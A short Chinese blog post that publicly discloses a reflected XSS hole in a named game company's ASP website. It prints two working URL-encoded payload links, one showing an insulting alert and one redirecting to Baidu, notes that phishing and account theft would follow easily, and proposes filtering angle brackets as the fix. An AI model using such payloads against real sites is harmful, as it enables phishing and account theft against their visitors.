由于某度众所周知的举动，让我搬离写了5年的渣度空间，准备把技术性的文章定在CSDN了。这些都是文章备份。勿怪。。
鉴于最近有些抓取机器和抄袭者，把标题的【原】字都复制，我不得不声明：本文为 yukon12345原创，转载请注明出处http://blog.csdn.net/yukon12345
看着光宇的古董级asp网站，随手检测了下安全，sql注入倒是有点提防（不然早就被黑1万遍了），
xss漏洞却没防住，页面存在着低级的xss漏洞：
这个网址直接弹出 警告"垃圾光宇" （注意这是官网网址）
www.sealonline.com.cn/introduction/monster/index.asp?class_id=1009&class_Name=%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%22%C0%AC%BB%F8%B9%E2%D3%EE%22%29%3c%2f%73%63%72%69%70%74%3e
这个更直接，转向百度
www.sealonline.com.cn/introduction/monster/index.asp?class_id=1001&class_Name=%3c%73%63%72%69%70%74%3e%6c%6f%63%61%74%69%6f%6e%2e%68%72%65%66%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%62%61%69%64%75%2e%63%6f%6d%22%3c%2f%73%63%72%69%70%74%3e
于是，钓鱼，嵌iframe 强制域名转向那是轻而易举。盗号只离一步之遥。
所以各位不要呆呆的以为光宇的网址一定就是安全的。
解决方法：在class_Name接收的值中将<>和url编码%3c，%3e等过滤掉。
本想通知管理员的，不过光宇连个邮箱都不留，就由着他们自己办吧。